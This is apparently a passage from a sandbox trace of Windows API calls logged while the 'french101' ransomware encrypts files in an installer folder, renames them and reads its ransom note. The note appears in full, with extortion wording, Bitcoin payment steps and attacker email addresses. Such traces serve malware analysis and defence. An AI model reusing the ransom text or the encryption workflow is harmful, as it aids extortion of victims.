(in: hFile=0x398, lpBuffer=0x3e80e78*, nNumberOfBytesToWrite=0x87f, lpNumberOfBytesWritten=0x19e798, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesWritten=0x19e798*=0x87f, lpOverlapped=0x0) returned 1 [0279.847] CloseHandle (hObject=0x398) returned 1 [0279.847] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0279.847] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0279.847] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0279.847] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0279.847] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0279.847] GlobalUnlock (hMem=0x3f40014) returned 0 [0279.848] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0279.848] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0279.848] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0279.848] GlobalUnlock (hMem=0x3f40014) returned 0 [0279.848] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0279.848] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.848] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.848] CharLowerBuffW (in: lpsz="LocalizedData.xml", cchLength=0x11 | out: lpsz="localizeddata.xml") returned 0x11 [0279.848] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.848] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.848] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.848] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0279.848] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.848] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.848] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.848] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.848] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.848] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.848] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="z", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.848] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.848] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.848] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.848] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.849] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.849] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.849] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0279.849] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0279.849] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xml.xmlt", lpUsedDefaultChar=0x0) returned 4 [0279.849] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0279.849] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0279.849] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0279.849] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0279.849] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0279.849] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0279.849] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0279.850] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x138bc [0279.850] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0279.850] SetFilePointer (in: hFile=0x398, lDistanceToMove=80060, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x138bc [0279.850] WriteFile (in: hFile=0x398, lpBuffer=0x3f31ca8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31ca8*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0279.851] CloseHandle (hObject=0x398) returned 1 [0279.854] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0279.854] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0279.854] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x138bd [0279.854] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0279.854] SetFilePointer (in: hFile=0x398, lDistanceToMove=80060, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x138bc [0279.854] SetEndOfFile (hFile=0x398) returned 1 [0279.856] CloseHandle (hObject=0x398) returned 1 [0279.856] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0279.856] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0279.856] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x138bc [0279.856] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0279.857] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.857] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0279.857] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0279.858] SetFilePointer (in: hFile=0x398, lDistanceToMove=43181, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xa8ad [0279.858] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0279.858] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0279.858] GlobalLock (hMem=0x3f4000c) returned 0x3ae7e28 [0279.858] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0279.858] GlobalUnlock (hMem=0x3f40014) returned 0 [0279.858] GlobalHandle (pMem=0x3ae7e28) returned 0x3f4000c [0279.858] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.858] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0279.858] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0279.858] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.932] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0279.932] WriteFile (in: hFile=0x398, lpBuffer=0x3eaa7c8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaa7c8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0279.933] SetFilePointer (in: hFile=0x398, lDistanceToMove=43181, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xa8ad [0279.933] WriteFile (in: hFile=0x398, lpBuffer=0x3eaabc8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaabc8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0279.933] SetFilePointer (in: hFile=0x398, lDistanceToMove=80060, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x138bc [0279.933] WriteFile (in: hFile=0x398, lpBuffer=0x3eaafc8*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaafc8*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0279.933] WriteFile (in: hFile=0x398, lpBuffer=0x3e632d8*, nNumberOfBytesToWrite=0xc2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e632d8*, lpNumberOfBytesWritten=0x19e498*=0xc2, lpOverlapped=0x0) returned 1 [0279.933] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.933] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.933] CloseHandle (hObject=0x398) returned 1 [0279.935] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1040\\WKRdENIya6cmJPpxuoLrGpa9eLZja5+uHtMsvaRkGTS0mQ.french101" (normalized: "c:\\588bce7c90097ed212\\1040\\wkrdeniya6cmjppxuolrgpa9elzja5+uhtmsvarkgts0mq.french101")) returned 1 [0279.936] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\WKRdENIya6cmJPpxuoLrGpa9eLZja5+uHtMsvaRkGTS0mQ.french101" (normalized: "c:\\588bce7c90097ed212\\1040\\wkrdeniya6cmjppxuolrgpa9elzja5+uhtmsvarkgts0mq.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0279.936] SetFileTime (hFile=0x398, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0279.936] CloseHandle (hObject=0x398) returned 1 [0279.936] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\WKRdENIya6cmJPpxuoLrGpa9eLZja5+uHtMsvaRkGTS0mQ.french101", dwFileAttributes=0x80) returned 1 [0279.936] CloseHandle (hObject=0x398) returned 0 [0279.937] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.937] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.937] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.937] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.937] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0279.937] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.937] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.937] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0279.937] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.937] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0279.937] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0x6da210 [0279.939] FileTimeToLocalFileTime (in: lpFileTime=0x19e5a4, lpLocalFileTime=0x19e524 | out: lpLocalFileTime=0x19e524) returned 1 [0279.939] FileTimeToDosDateTime (in: lpFileTime=0x19e524, lpFatDate=0x19e572, lpFatTime=0x19e570 | out: lpFatDate=0x19e572, lpFatTime=0x19e570) returned 1 [0279.939] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0279.940] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1040\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0279.940] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0279.940] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0279.940] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0279.940] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0279.940] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0279.940] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0279.940] ReadFile (in: hFile=0x398, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19e79c, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19e79c*=0x87f, lpOverlapped=0x0) returned 1 [0279.940] CloseHandle (hObject=0x398) returned 1 [0279.940] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0279.940] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0279.940] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0279.940] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0279.940] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0279.940] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.941] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0279.941] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0279.941] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0279.941] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.941] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0279.941] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.941] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.941] CharLowerBuffW (in: lpsz="SetupResources.dll", cchLength=0x12 | out: lpsz="setupresources.dll") returned 0x12 [0279.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0279.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.941] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130c8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0279.942] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0279.942] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlls.dll", lpUsedDefaultChar=0x0) returned 4 [0279.942] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | 